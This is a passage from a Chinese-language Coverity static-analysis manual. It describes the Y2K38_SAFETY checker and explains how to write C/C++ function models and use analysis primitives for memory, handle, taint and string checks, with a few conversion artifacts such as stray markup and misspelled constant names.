Table 4.9, “转义器类型”定义了符号名称转义器类型，并标识了这些类型适用的上下文。

Table 4.9. 转义器类型

转义器类型	说明	适用于
HTML_ENTITY	基于 & 符号的转义，使用 HTML 实体。	HTML_PCDATA、HTML_RCDATA、HTML_ATTR_VAL_*
JS_STRING	基于反斜杠的转义，适用于 JavaScript 字符串。	JS_STRING_*
CSS	基于反斜杠的转义，适用于 CSS。	CSS_STRING_*、CSS_URI_*
URI_PERCENT	基于百分号的转义，适用于统一资源标识符。	问号 (?) 前的 URI 和 URL 部分。
URI_QUERY	与 URI_PERCENT 类似，但空格使用加号 (+) 进行编码。	问号 (?) 后的 URI 和 URL 部分。

#### 4.369. Y2K38\_SAFETY

质量检查器

### 4.369.1. 概述

支持的语言：. C/C++

`Y2K38_SAFETY` 检查器意在指出自 UNIX `time_t` 类型的 epoch 以来秒的 32 位有符号整数计数器滚动的两个潜在问题。处理日期并使用 `time_t` 来表示这些日期的软件容易因这种滚动而导致数据损坏。这种损坏不是在计数器滚动的当天开始的，而是在相关软件首次尝试表示一个超出该滚动日期和时间的未来时间时开始的。

报告的两种缺陷类型为：

- `time_t` 值存储在一个（32位）整数变量中，而不是存储在另一个 `time_t` 或 64 位宽度的整数中。这包括将 `time_t` 变量作为参数传递给获取 32 位整数参数的函数，当检查器可以确定将其用作随机数生成器的种子时会发生异常，在这种情况下，位的丢失并不重要。
- 当 `typedef` 的宽度小于 64 位时，将进行涉及 `time_t` `typedef` 的声明。请注意，如果程序仅使用 `struct timeval`，则根据 `time_t` 对该结构的定义可确保仍会报告缺陷。

.</para>

默认不启用 `Y2K38_SAFETY` 检查器，它需要显式启用。它可以通过 `-en Y2K38_SAFETY` 启用。

### 4.369.2. 示例

本部分提供了一个或多个 `Y2K38_SAFETY` 检查器示例。

#### 4.369.2.1. 不良存储

当 `time_t` 是 32 位有符号整数时，可以将这些值存储在一个整数变量中以供以后使用。随着 `time_t` 变为 64 位，此类分配非常危险。

```
int starttime = time(NULL); //#defect#Y2K38_SAFETY
do_long_work();
int endtime = time(NULL); //#defect#Y2K38_SAFETY
printf("Time elapsed = %d seconds\n", endtime - starttime);
```

如果 `time_t` 为 32 位，则上面的示例是安全的，尽管有些失当，但如果 `time_t` 变为 64 位，则上述示例是错误的。

#### 4.369.2.2. 不良类型大小

当 `time_t` 被定义为 32 位整数时，只要声明了该类型的变量，检查器就会标记缺陷。

```
typedef signed int time_t;
void foo() {
 time_t mytime = 0; //#defect#Y2K38_SAFETY
}
```

在这种情况下，缺陷消息将包含文本，以指示问题在于 `time_t` 本身太小，不能保证安全性。

---

# Chapter 5. 模型、注解和原语

## Table of Contents

5.1. C/C++ 模型和注解 .....	815
5.2. C# 或 Visual Basic 中的模型和注解 .....	847
5.3. Go 中的模型 .....	864
5.4. Java 模型和注解 .....	871
5.5. Swift 中的模型 .....	878
5.6. 创建搜索顺序模型 .....	878

您可以通过以下多种方式修改检查器行为：

- 选项：

某些 cov-analyze 选项会影响多个检查器的行为（请参阅《Coverity 命令说明书》）。

很多检查器都包含您可以通过 `--checker-option`（或 `-co`）启用的选项。

- 模型：

模型是函数属性重要方面的汇总。Coverity Analysis 会分析每个函数，并为其行为生成模型，以便用于全局分析。这些模型使用 cov-analyze 命令创建，存储在中间目录中。

也可以手动编写模型来覆盖这些模型，更好地描述函数的行为。此类模型对于查找更多程序缺陷和减少误报很有用。

- 注解：

您可以使用我们称为分析注解的标记来注解源代码，从而影响检查器的行为。

Coverity 使用注解来指代您可以添加到源文件中的分析注解，而不管源语言的原生术语（如果有）。下面是使用的具体语法：

### C/C++

在 C 或 C++ 源中，分析注解是具有特殊格式的注释。

### C# 或 Visual Basic

在 C# 或 Visual Basic 源中，分析注解使用原生 C# 或 Visual Basic 属性语法。

### Java

在 Java 源中，分析注解使用原生 Java 注解语法。

 Caution

每种语言都有自己的分析注解语法和功能集，它们与可以使用注解的其他语言可用的语法或功能不同。

- Web 应用程序安全配置文件：

包含可修改 Web 应用程序安全检查器行为的用户指令的文件。这些指令在《安全指令说明书》中描述。  
请参阅后面的几个小节，了解关于模型和注解的详细信息。

## 5.1. C/C++ 模型和注解

该分析引擎可为分析的每一个函数推导模型，总结函数的作用，以便用于全局缺陷检查。有时，无法分析部分被调用函数的部分源代码。例如，库函数通常是链接的，无法访问其源代码。标准的 C 库、UNIX 系统调用 API 以及 Windows API 都是很多程序与之建立链接（无法访问其源代码）的接口的示例。

分析运行时，会为每个函数生成模型，并将其存储在中间目录中。

大部分情况下，该分析引擎生成的模型都能准确反映系统的行为，各种检查器无需任何用户干预即可准确运行。但在某些情况下，您可能希望通过提供关于接口和函数的更多信息来提高检查器的性能。其中一个示例就是，当可能对系统行为至关重要的接口链接了从未编译和分析的代码时。在此类情况下，您必须指定这些接口的行为。另一个示例是不正确的推导导致发生误报的情况。

将模型添加至 Coverity Analysis 系统有两个好处：发现更多程序缺陷以及减少误报。例如，如果在系统中为通过第三方 API 与您的应用程序进行链接的新内存分配接口建模，Coverity Analysis 可能会在使用该分配器时检测并报告缺陷。再举一个示例，如果您的应用程序使用依赖汇编程序退出应用程序的 `abort` 型函数，系统可能就不能确定此函数的调用无法返回。在这种情况下，就会由于不能完全理解代码而发生误报。

有时，Coverity Analysis 模型由于被建模函数的复杂性而与函数的实际行为不一致。虽然分析框架的改进不断减少覆盖自动计算模型的必要性，但编译时分析的精度存在限制。因此，对于某些情况，您可以通过分类指定函数的行为来提高分析准确度。

### Warning

Coverity 的较新版本将无法运行您使用之前版本创建的模型。出于这个原因，您必须保留您自己编写的模型的源文件，并且必须将这些文件存储在源本地仓库中。在升级 Coverity 时，您将需要运行命令 `cov-make-library`，并使用已保存的源重新生成模型文件。

### 5.1.1. 编写模型：查找新缺陷

下面的示例说明了如何添加配置以查找新缺陷和消除误报。假设您想要向 Coverity Analysis 配置中添加（与标准的 C 库函数 `free` 类似）新的内存释放器。在 Coverity Analysis 术语中，向配置中添加新函数称为添加模型。

要添加新 C 模型，请执行以下步骤：

1. 在 `<install_dir_sa>/library` 目录中，创建名为 `my_free.c` 的新文件。
2. 在此文件中，创建使用标准 C 库函数 `free` 的 stub C 函数以模拟新的释放函数的行为：

```
void free(void*);
```

```
void my_free(void* x) {
 free(x);
}
```

- 通过 cov-make-library 命令将此模型从其 C 代码形式转换为 XML 形式（分析引擎理解）：

```
> cov-make-library my_free.c
```

cov-make-library 命令在 <install\_dir\_sa>/config 目录中创建名为 user\_models.xmldb 的文件。此文件包含 XML 形式的模型，指明 my\_free 将释放其唯一的参数。在运行 cov-make-library 命令时，您可以更改用于临时存储和所生成配置文件的目录。如果要更改这些目录，您还必须在运行分析时指定这些文件的位置，以便分析引擎可以找到新的配置文件。

要添加新 C++ 模型，请执行以下步骤：

- 在 <install\_dir\_sa>/library 目录中，创建名为 MyClass.cpp 的新文件。
- 在 MyClass.cpp 文件中，创建成员函数 myAllocatorMethod：

```
class MyClass {
public:
 void *myAllocatorMethod(size_t size) {
 return __coverity_alloc__(size);
 }
};
```

可以为某些成员函数创建函数；您无须创建包括所有成员函数的模型。不包含显式模型的成员函数会在可获取源代码时生成推导模型。

- 通过 cov-make-library 命令将此模型从其 C++ 代码形式转换为 XML 形式（分析引擎理解）：

```
> cov-make-library MyClass.cpp
```

#### 建议

将生成的模型放到与文件 coverity\_config.xml 相同的位置，这样您在运行 cov-analyze 命令时就只需指定一个配置路径（coverity\_config.xml 的路径）。

#### 5.1.2. 编写模型：消除误报

请考虑一种更加复杂的情况，即在系统中覆盖 C 库函数 free，以便使用特殊分配方案，并且 free 的语义也会被更改。您决定不想再调用 free，因为这实际上会导致释放。而是希望函数 free 不会对分析产生任何影响。为此，请更新 my\_free.c 文件：

```
void my_free(void* x) {
 __coverity_free__(x);
}
```

```
void free(void* x) {
 // Do nothing.
}
```

我们对该文件做了两项修改。首先，我们实现了名为 `free` 的函数，该函数不执行任何操作。用户模型始终覆盖 Coverity 提供的任何配置以及全局分析自动生成的任何模型。因此，添加此函数会抑制 `free` 的默认行为以及所有相关的释放后继续使用缺陷。

此外，还更改了 `my_free` 的定义。最初，实现取决于 `free` 的实现。由于要移除 `free` 的行为，因此我们必须在 `my_free` 的实现中使用原语函数 `__coverity_free__`。此原语函数在分析中实现单一状态转换或操作，因而独立于任何其他模型。原语函数的列表表示分析可以理解的行为的范围。此特定原语表明无法在此函数调用之后解引用第一个参数 `x`。

这些函数的模型是使用之前所述的对 `cov-make-library` 的同一调用生成的。

### 5.1.3. 分析虚函数的模型

当您调用已经为其建模的虚函数或纯虚函数时，分析会始终使用该模型。因此，您无需针对此目的设置 `cov-analyze` 的 `--enable-virtual` 选项。在下面的示例中，您可以看到 `a->color()` 是如何使分析解析为模型的。

```
/* Abstract base class Fruit */
class Fruit {
 virtual int color() = 0;
};

/* Derived class Lemon */
class Lemon: public Fruit {
 int color();
};

/* Derived class Apple */
class Apple: public Fruit {
 int color();
}

/* In a model file, a model based on derived class Apple. */
class Apple {
 int color() { what_color_should_do(); }
};

/* Testing the analysis with and without setting --enable-virtual. */
void test(Fruit *f, Apple *a) {
 // Without --enable-virtual set:
 // Call to f->color() is unimplemented.
 // With --enable-virtual set:
 // Call to f->color() resolves to the model and to Lemon::color.
 f->color();

 // Call to a->color() always resolves to the model
 // regardless of whether you set --enable-virtual.
```

```
a->color();
}
```

有关 `--enable-virtual` 选项的更多信息，请参阅《Coverity 命令说明书 [🔗](#)》中的 cov-analyze 文档。

#### 5.1.4. 为函数指针建模

您可以使用 cov-analyze 命令的 `--enable-fnptr` 选项启用对函数指针调用的分析。此选项会使误报率增加大约 10-20%。虽然 `--enable-fnptr` 选项可分析大部分函数指针调用，但在某些情况下，可能不会分析某些函数指针调用是否存在缺陷。例如，分析不会跟踪通过转换的函数流。对于这些函数调用，您可以使用显式函数指针模型查找更多缺陷。

为函数指针建模

要为函数指针建模，请执行以下步骤：

1. 使用以下命名约定创建模型。如果函数指针是全局变量：

```
__coverity_fnptr_<variable>
```

如果函数指针是结构中的字段：

```
__coverity_fnptr_<type>_<field>
```

例如，下面的指针函数具有未在注释中注明的模型名称：

```
struct aStruct {
 void (*ABC)(int);
 void (*ZYX)(int);
};

int (*INT)(void);
struct aStruct glStruct;

void testfn(struct aStruct *s) {
 int x;
 x = INT(); // call to __coverity_fnptr_INT
 glStruct.ABC(x); // call to __coverity_fnptr_aStruct_ABC
 s->ZYX(x); // call to __coverity_fnptr_aStruct_ZYX
}
```

2. 在此模型中，使用原语指定函数指针的行为。例如，下面的 C 代码包含两个函数指针：

```
struct memory {
 void *(*get)(size_t);
 void (*put)(void *);
};

void test(struct memory *m, int l, int x) {
 int *p;

 p = m->get(l);
```

```

if (!x)
 return; // resource leak of p
m->put(p);
m->put(p); // double free of p
}

```

默认情况下，分析不会查找这两种缺陷。但是，对于以下模型，会报告这两种缺陷：

```

void *__coverity_fnptr_memory_get(int l) {
 return __coverity_alloc__(l);
}
void __coverity_fnptr_memory_put(void *p) {
 __coverity_free__(p);
}

```

3. 运行 cov-make-library 命令。
4. 运行 cov-analyze 命令，同时使用 --fnptr-models 选项。

### 5.1.5. 模板的模型

您可以为模板编写模型：这包括模板函数和模板类的成员函数。

要建模模板，您可以在名为 `_coverity_template_` 的命名空间内将它编写为非模板。模型必须与模板具有相同数量的参数；但是类型不需要相同，特别是因为不可能在这些类型中引用模板参数。因此，只能为给定数量的参数建模单个模板函数重载。

例如，给定此模板：

```

template <typename T> class MyClass {
 T *alloc(); // returns allocated memory
};

```

您需要编写类似以下内容的东西来为它创建模型：

```

namespace __coverity_template__
{
class MyClass {
 void *alloc() { return __coverity_alloc_nosize__(); }
};
}

```

请注意，仍然可以通过在模型文件中实例化模板来为特定实例化（无论是否重载）编写模型：例如，

```

template <typename T> class MyClass {
 T *alloc() { return 0; }
};

// Explicitly instantiate for "int"
template class MyClass<int>;

```

这些特定实例化的优先级高于 `_coverity_template_`。

### 5.1.6. 用于自定义模型的原语

<install\_dir\_sa>/library 目录包含用于随 Coverity Analysis 一起提供的模型的源代码。您可以修改这些模型，也可以使用 cov-make-library 命令重新编译它们。要添加新模型，请创建包含代表您要添加的函数行为的 stub 函数的文件。



#### Note

请勿使用 <install\_dir\_sa>/library 目录中的文件作为 cov-make-library 命令的参数。请创建自己的文件用于模型。使用现有文件可创建重复的用户模型和 Coverity 默认模型。

您可以使用 Coverity 原语或通过现有库函数（例如：malloc、calloc 和 fopen）构建模型。以下各小节列出了您可以在自定义模型中使用的原语及其含义和示例用法。您可以在 <install\_dir\_sa>/library/generic/common/ 中找到作为示例引用的文件。

#### 5.1.6.1. 通用原语

##### 5.1.6.1.1. \_\_coverity\_alloc\_\_

为返回动态分配内存块的函数建模。该函数的唯一参数决定它的大小。RESOURCE\_LEAK 检查器使用此原语识别哪些指针引用了必须释放的内存。SIZE\_CHECK 和 OVERRUN 使用它来确定分配的大小是否正确。

有关示例，请参阅文件 <install\_dir>/library/generic/libc/all/all.c 中的函数 malloc。

##### 5.1.6.1.2. \_\_coverity\_alloc\_nosize\_\_

为返回动态分配内存块但不提供大小信息的函数建模。在您要查找 RESOURCE\_LEAK 错误但对缓冲区越界访问不感兴趣时使用。

有关示例，请参阅文件 file.c 中的函数 fopen。

##### 5.1.6.1.3. \_\_coverity\_close\_\_

关闭句柄。用于为 RESOURCE\_LEAK 和 USE\_AFTER\_FREE 检查器建模文件句柄分配。

##### 5.1.6.1.4. \_\_coverity\_delete\_\_

为 operator delete 的调用建模。除了内存释放语义之外，如果 \_\_coverity\_new\_array\_\_ 分配了此内存，这会导致错误。DELETE\_ARRAY 检查器使用此原语。

##### 5.1.6.1.5. \_\_coverity\_delete\_array\_\_

为 operator delete[] 的调用建模。除了内存释放语义之外，如果 \_\_coverity\_new\_\_ 分配了此内存，这会导致错误。DELETE\_ARRAY 检查器使用此原语。

##### 5.1.6.1.6. \_\_coverity\_escape\_\_

为保存其参数（例如在全局变量中）以便稍后释放的函数建模。在进行转义后，分析不会报告此类参数上发生的资源泄漏。

#### 5.1.6.1.7. `__coverity_free__`

释放其参数。向 USE\_AFTER\_FREE 和 RESOURCE\_LEAK 检查器表明指针被释放。有关示例，请参阅 `<install_dir>/library/generic/libc/all/all.c` 中的函数 `free`。

#### 5.1.6.1.8. `__coverity_negative_sink__`

为不接受负数作为参数的函数建模。与其他模型结合使用，以表明负参数无效。有关示例，请参阅 `<install_dir>/library/generic/libc/all/all.c` 中的 `size` 参数。

#### 5.1.6.1.9. `__coverity_new__`

为 `operator new` 的调用建模。除了内存分配语义之外，如果 `__coverity_delete_array__later` 释放了此内存，这会导致错误。DELETE\_ARRAY 检查器使用此原语。

#### 5.1.6.1.10. `__coverity_new_array__`

为 `operator new[]` 的调用建模。除了内存分配语义之外，如果 `__coverity_delete__` 之后释放了此内存，这会导致错误。DELETE\_ARRAY 检查器使用此原语。

#### 5.1.6.1.11. `__coverity_open__`

创建需要关闭的句柄。用于为 RESOURCE\_LEAK 和 USE\_AFTER\_FREE 检查器建模文件句柄分配。

#### 5.1.6.1.12. `__coverity_panic__`

为结束执行当前路径的函数建模。

有关示例，请参阅文件 `killpath.c` 中的函数 `abort`。

#### 5.1.6.1.13. `__coverity_read_buffer_bytes__ (const void *buf, unsigned size);`

指示缓冲区被读取到给定大小（以字节为单位）。主要影响 OVERRUN、ARRAY\_VS\_SINGLETON 和 UNINIT 检查器。

#### 5.1.6.1.14. `__coverity_read_buffer_elements__ (const void *buf, unsigned size);`

指示缓冲区被读取到给定大小（按元素指定）。元素类型由转换为 `void *` 之前的表达式类型决定。主要影响 OVERRUN、ARRAY\_VS\_SINGLETON 和 UNINIT 检查器。

#### 5.1.6.1.15. `__coverity_stack_alloc__`

指明基于堆栈的分配，如在 `alloca` 中。与 OVERRUN 检查器搭配使用。

#### 5.1.6.1.16. `__coverity_stack_depth__ (max_memory)`

向 STACK\_USE 检查器表明，函数及其被调用方使用的内存（以字节为单位）不应超过常量整数 `max_memory` 指定的数量。此功能适用于使用不同堆栈大小创建线程的情况。该原语应该用于线程入口点函数。

**Note**

请注意，此原语是从您的源代码中调用，而不是从模型源中调用。

您需要在您的代码中，在您希望为其指定限制的树的顶部声明此原语。例如，您可以向 `coverity.h` 头文件中添加以下内容：

```
#ifdef __COVERITY__
#ifndef __cplusplus
extern "C"
#endif
void __coverity_stack_depth__(unsigned long);
#else
#define __coverity_stack_depth__(x) 0
#endif
```

然后，您可以在包含线程入口函数（例如 `threadentry.c`）的文件中包含声明。

```
#include "coverity.h"

// ...

void thread_entry() {
 // You need to add this to your source code. It can appear anywhere
 // in the function. Only one such call is allowed per function.
 __coverity_stack_depth__(MAX_THREAD_STACK_BYTES);

 // Implement thread entry
}
```

#### 5.1.6.1.17. `__coverity_use_handle__`

如果该句柄之前已关闭，则表明无效使用句柄。用于为 RESOURCE\_LEAK 和 USE\_AFTER\_FREE 检查器建模文件句柄分配。

#### 5.1.6.1.18. `__coverity_write_buffer_bytes__ (void *buf, unsigned size);`

指示缓冲区写入到给定大小（以字节为单位）。主要影响 OVERRUN、ARRAY\_VS\_SINGLETON 和 UNINIT 检查器。

#### 5.1.6.1.19. `__coverity_write_buffer_elements__ (void *buf, unsigned size);`

指示缓冲区写入到给定大小。元素类型由转换为 void \* 之前的表达式类型决定。主要影响 OVERRUN、ARRAY\_VS\_SINGLETON 和 UNINIT 检查器。

#### 5.1.6.1.20. `__coverity_writeall__`

表明变量的所有内容都被重写。这包括所有字段（如果变量是结构）或只包括变量的值（如果变量不是结构）。

有关示例，请参阅 `mem.c` 文件中的函数 `memcpy`。

### 5.1.6.2. 安全原语

#### 5.1.6.2.1. \_\_coverity\_format\_string\_sink\_\_(arg)

已废弃：自 Coverity 2019.09 起，此原语已废弃。仅向后兼容支持它。转为使用 \_\_coverity\_taint\_sink\_\_。

向 TINTED\_STRING 检查器表明函数是格式化字符串数据消费者。

以下模型表明，custom\_printf() 相对于其参数 *format* 是格式化字符串数据消费者。此模型类似于用于标准 C 函数 printf 的模型：

```
void custom_printf(const char *format, ...) {
 __coverity_taint_sink__(format, FORMAT_STRING);
}
```

#### 5.1.6.2.2. \_\_coverity\_mark\_pointee\_as\_sanitized\_\_(p, SinkType)

向以下检查器表明，应将指定值视为未被污染：

- FORMAT\_STRING\_INJECTION
- OS\_CMD\_INJECTION
- PATH\_MANIPULATION
- SQLI
- TINTED\_SCALAR
- TINTED\_STRING
- URL\_MANIPULATION
- XPATH\_INJECTION

*SinkType* 参数指定现在可以安全地接受净化数据的数据消费者类型。如果 *p* 不属于此类型，则原语没有任何作用。下面是可能的 *SinkType* 值：

- ALLOCATION
- ENVIRONMENT
- FORMAT\_STRING
- GENERIC
- LOOP\_BOUND
- OS\_CMD\_ARGUMENTS
- OS\_CMD\_ARRAY

- OS\_CMD\_FILENAME
- OS\_CMD\_STRING
- OVERRUN
- PATH
- REGISTRY
- SQL
- TAINTED\_SCALAR\_GENERIC
- URL
- XPATH

#### 5.1.6.2.3. `__coverity_mark_pointee_as_tainted__(pointer, taint_type)`

向下列检查器表明函数是污染其参数还是返回被污染的数据；还表明被污染的数据的源：

- INTEGER\_OVERFLOW
- OS\_CMD\_INJECTION
- PATH\_MANIPULATION
- SQLI
- TAINTED\_SCALAR
- TAINTED\_STRING
- XPATH\_INJECTION

此原语获取两个参数：指针和污染类型（表明污染的来源）。污染类型的可能值为：

- TAIN\_TYPE\_HTTP
- TAIN\_TYPE\_NETWORK
- TAIN\_TYPE\_FILESYSTEM
- TAIN\_TYPE\_DATABASE
- TAIN\_TYPE\_CONSOLE
- TAIN\_TYPE\_ENVIRONMENT
- TAIN\_TYPE\_COMMAND\_LINE
- TAIN\_TYPE\_SYSTEM\_PROPERTIES

- Taint\_Type\_RPC
- Taint\_Type\_HTTP\_Header
- Taint\_Type\_Cookie

这些值对应于可用的信任选项。有关信任选项的更多信息，请参阅 TaintKind。

此模型表明 `custom_string_read()` 污染其参数 `s`，并且被污染的数据的源是文件系统：

```
void custom_string_read(int fd, char *s) {
 __coverity_mark_pointee_as_tainted__(s, Taint_Type_Filesystem);
}
```

此模型表明 `packet_get_int()` 返回被污染的数据，并且被污染的数据的源是网络：

```
unsigned int packet_get_int() {
 unsigned int ret;
 __coverity_mark_pointee_as_tainted__(&ret, Taint_Type_Network);
 return ret;
}
```

#### 5.1.6.2.4. `__coverity_secure_coding_function__(type, problem, alternative, risk)`

向 SECURE\_CODING 检查器表明不应使用函数。

##### Note

在 7.5.0 中已废弃：SECURE\_CODING 检查器已废弃。自 2020.03 发行版起，我们建议使用 CodeXM 实现可以确定“不调用”问题的自定义检查器。请参阅“编写您自己的不调用检查器”。

此模型表明在对 `outdated_copy_function` 的每一个调用中都会显示警告，告知开发人员应该避免使用此函数，并用 `updated_copy_function` 来代替。例如：

```
int outdated_copy_function(void *arg) {
 __coverity_secure_coding_function__("buffer overflow",
 "outdated_function() makes no guarantee of safety.",
 "Use updated_copy_function() instead.",
 "VERY RISKY");
}
```

#### 5.1.6.2.5. `__coverity_string_null_argument__`

向 STRING\_NULL 检查器表明某个函数可能为没有以 null 终止的字符数组分配了参数。例如：

```
void custom_packet_read(char *s) {
 __coverity_string_null_argument__(s);
}
```

#### 5.1.6.2.6. `__coverity_string_null_return__`

向 STRING\_NULL 检查器表明某个函数返回了没有以 null 终止的字符数组。例如：

```
char *custom_network_read() {
 return __coverity_string_null_return__();
}
```

#### 5.1.6.2.7. **\_\_coverity\_string\_null\_sink\_\_**

向 STRING\_NULL 检查器表明必须保护某个函数，防止其中出现没有以 null 终止的字符串。例如：

```
void custom_string_replace(char *s, char c, char x) {
 __coverity_string_null_sink__(s);
}
```

#### 5.1.6.2.8. **\_\_coverity\_string\_null\_sink\_vararg\_\_ (arg\_number)**

向 STRING\_NULL 检查器表明必须保护某个函数的参数，防止其中出现非以 null 终止的字符串。

以下模型表明从第二个参数开始必须以 null 终止才能传递给 `custom_vararg()` 函数。

```
void custom_vararg(char *s, char *format, ...) {
 __coverity_string_null_sink_vararg__(2);
}
```

#### 5.1.6.2.9. **\_\_coverity\_string\_size\_return\_\_**

向 STRING\_SIZE 检查器表明某个函数返回了任意大小的字符串，必须先进行长度检查才能使用。例如：

```
string custom_string_return() {
 return __coverity_string_size_return__();
}
```

#### 5.1.6.2.10. **\_\_coverity\_string\_size\_sanitize\_\_**

向 STRING\_SIZE 检查器表明某个函数正确净化了字符串的长度。

在下面的示例中，当已净化字符串大小时，`size_check()` 函数会返回 1，否则会返回 0：

```
int size_check(char *s) {
 int ok_size;
 if (ok_size == 1) {
 __coverity_string_size_sanitize__(s);
 return 1;
 } else {
 return 0;
 }
}
```

#### 5.1.6.2.11. **\_\_coverity\_string\_size\_sink\_\_**

向 STRING\_SIZE 检查器表明某个函数是字符串大小数据消费者，必须对其进行保护，防止出现任意大的字符串。

```
void *custom_string_process(const char *s) {
 __coverity_string_size_sink__(s);
}
```

#### 5.1.6.2.12. **\_\_coverity\_string\_size\_sink\_vararg\_\_**

向 STRING\_SIZE 检查器表明必须对某个函数的参数先执行长度检查才能传递这些参数。例如：

```
void custom_vararg(char *s, char *format, ...) {
 __coverity_string_size_sink_vararg__(2);
}
```

#### 5.1.6.2.13. **\_\_coverity\_tainted\_data\_argument\_\_**

已废弃：此原语仅支持向后兼容。转为使用 **\_\_coverity\_mark\_pointee\_as\_tainted\_\_**。

向 TAINTED\_SCALAR 检查器和 INTEGER\_OVERFLOW 检查器表明某个函数污染了其参数。

此模型表明 `custom_read()` 污染了其参数 `buf`。POSIX `custom_read` 接口通过类似的 stub 函数进行建模：

```
void custom_read(int fd, void *buf) {
 __coverity_tainted_data_argument__(buf);
}
```

使用以下模型作为将 **\_\_coverity\_tainted\_data\_argument\_\_** 用法迁移到 **\_\_coverity\_mark\_pointee\_as\_tainted\_\_** 用法的指南。此模型通过表明被污染的数据的源（在本例中为文件系统）来改进前面的模型：

```
void custom_read(int fd, void *buf) {
 __coverity_mark_pointee_as_tainted__(buf, TAIN_TYPE_FILESYSTEM);
}
```

#### 5.1.6.2.14. **\_\_coverity\_tainted\_data\_return\_\_**

已废弃：此原语仅支持向后兼容。转为使用 **\_\_coverity\_mark\_pointee\_as\_tainted\_\_**。

向 TAINTED\_SCALAR 检查器和 INTEGER\_OVERFLOW 检查器表明某个函数返回了被污染的数据。

此模型表明 `packet_get_int()` 返回了被污染的数据，应该按如下方式记录：

```
unsigned int packet_get_int() {
 return __coverity_tainted_data_return__();
}
```

使用以下模型作为将 **\_\_coverity\_tainted\_data\_return\_\_** 用法迁移到 **\_\_coverity\_mark\_pointee\_as\_tainted\_\_** 用法的指南。此模型通过表明被污染的数据的源（在本例中为网络）来改进前面的模型：

```
unsigned int packet_get_int() {
```

```

 unsigned int ret;
 __coverity_mark_pointee_as_tainted__(&ret, TAIN_TYPE_NETWORK);
 return ret;
}

```

#### 5.1.6.2.15. \_\_coverity\_tainted\_data\_sanitize\_\_

已废弃：自 Coverity 2019.09 起，此原语已废弃。仅向后兼容支持它。转为使用 `__coverity_mark_pointee_as_sanitized__`。

使 TINTED\_SCALAR 检查器将提供的值视为未被污染。

以下模型向检查器表明，如果 `check_value()` 返回 1，不应再将 `s.x`（或 `s.y`）记录为被污染：

```

struct S { int x, y; };
int check_value(struct S *s) {
 int is_ok;
 if (is_ok) {
 __coverity_mark_pointee_as_sanitized__(s, OVERRUN);
 return 1;
 } else {
 return 0;
 }
}

```

测试代码：

```

struct S { int x, y; };
void test() {
 int array[10];
 struct S s;
 read(0, &s, sizeof(s));
 if (check_value(&s)) {
 // no bug here
 array[s.x] = 1;
 } else {
 // TINTED_SCALAR reported
 array[s.x] = 1;
 }
}

```

#### 5.1.6.2.16. \_\_coverity\_tainted\_data\_sink\_\_

已废弃：此原语仅支持向后兼容。转为使用 `__coverity_taint_sink__`。

向 TINTED\_SCALAR 检查器和 INTEGER\_OVERFLOW 检查器表明某个函数是参数的污染数据消费者。

此模型表明 `custom_write()` 是参数 `count` 的污染数据消费者。POSIX `write` 接口通过类似的 `stub` 函数进行建模：

```

void custom_write(int fd, const void *buf, size_t count) {
 __coverity_tainted_data_sink__(count);
}

```

```
}
```

使用以下模型作为将 `__coverity_tainted_data_sink__` 用法迁移到 `__coverity_taint_sink__` 用法的指南。此模型表明 `custom_write()` 相对于其参数 `count` 是污染数据消费者（类型为 `OVERRUN`）。

```
void custom_write(int fd, const void *buf, size_t count) {
 __coverity_taint_sink__(&count, OVERRUN);
}
```

#### 5.1.6.2.17. `__coverity_tainted_data_transitive__`

被污染的数据检查器用于为将被污染状态从一个参数复制到另一个参数的函数建模。

下面的模型表明，`custom_copy()` 将基于参数 `src` 的被污染状态（并且仅当 `n != 0` 时），传递污染参数 `dest`。标准 C 接口 `memcpy` 通过类似的 stub 函数进行建模。

```
void *custom_copy(void *dest, void *src, size_t n) {
 if (n != 0) {
 __coverity_tainted_data_transitive__(dest, src);
 }
 return dest;
}
```

#### 5.1.6.2.18. `__coverity_tainted_data_transitive_return__`

已废弃：此原语仅支持向后兼容。转为使用 `__coverity_tainted_data_transitive__`。

`TINTED_SCALAR` 检查器用于为基于参数的被污染状态传递污染返回值的函数（例如 `atoi()`）建模。

例如：

```
// if b was tainted, get_int returns tainted data
// get_int pulls an integer out of some buffer
int get_int(struct buffer *b) {
 return __coverity_tainted_data_transitive_return__(b->x);
}
```

使用以下模型作为将 `__coverity_tainted_data_transitive_return__` 用法迁移到 `__coverity_tainted_data_transitive__` 用法的指南：

```
// if b was tainted, get_int returns tainted data
// get_int pulls an integer out of some buffer
int get_int(struct buffer *b) {
 int r;
 __coverity_tainted_data_transitive__(r, b->x);
 return r;
}
```

#### 5.1.6.2.19. `__coverity_tainted_data_transitive_vararg_inbound__ (position, position)`

向 TAINTED\_SCALAR 检查器表明，某个函数会在其他参数被污染时传递污染一个参数。

以下模型表明，当任何从 *2* 开始的参数被污染时，`custom_sprintf()` 会传递污染参数 *0*。标准 C 接口 `sprintf` 通过类似的 stub 函数进行建模。

```
void custom_sprintf(char *str, const char *format, ...) {
 __coverity_tainted_data_transitive_vararg_inbound__(0, 2);
}
```

#### 5.1.6.2.20. `__coverity_tainted_data_transitive_vararg_outbound__(position, position)`

向 TAINTED\_SCALAR 检查器表明，某个函数会在特定参数被污染时传递污染参数。

以下模型表明，当参数 *0* 被污染时，`custom_sscanf()` 会传递污染参数 *2* 及以后的参数：

```
void custom_sscanf(const char *str, const char *format, ...) {
 __coverity_tainted_data_transitive_vararg_outbound__(2, 0);
}
```

#### 5.1.6.2.21. `__coverity_tainted_string_argument__`

已废弃：此原语仅支持向后兼容。转为使用 `__coverity_mark_pointee_as_tainted__`。

向 TAINTED\_STRING 检查器表明某个函数污染了其参数。

以下模型表明，`custom_string_read()` 污染了其参数 *s*：

```
char *custom_string_read(char *s, int size, FILE *stream) {
 __coverity_tainted_string_argument__(s);
 return s;
}
```

使用以下模型作为将 `__coverity_tainted_string_argument__` 用法迁移到 `__coverity_mark_pointee_as_tainted__` 用法的指南。此模型通过表明被污染的数据的源（在本例中为文件系统）来改进前面的模型：

```
char *custom_string_read(char *s, int size, FILE *stream) {
 __coverity_mark_pointee_as_tainted__(s, TAIN_TYPE_FILESYSTEM);
 return s;
}
```

#### 5.1.6.2.22. `__coverity_tainted_string_return_content__`

已废弃：此原语仅支持向后兼容。转为使用 `__coverity_mark_pointee_as_tainted__`。

向 TAINTED\_STRING 检查器表明某个函数返回了被污染的字符串。

以下模型表明，`packet_get_string()` 返回了被污染的字符串：

```
void *packet_get_string() {
```

```

 return __coverity_tainted_string_return_content__();
}

```

使用以下模型作为将 `__coverity_tainted_string_return_content__` 用法迁移到 `__coverity_mark_pointee_as_tainted__` 用法的指南。此模型通过表明被污染的数据的源（在本例中为网络）来改进前面的模型：

```

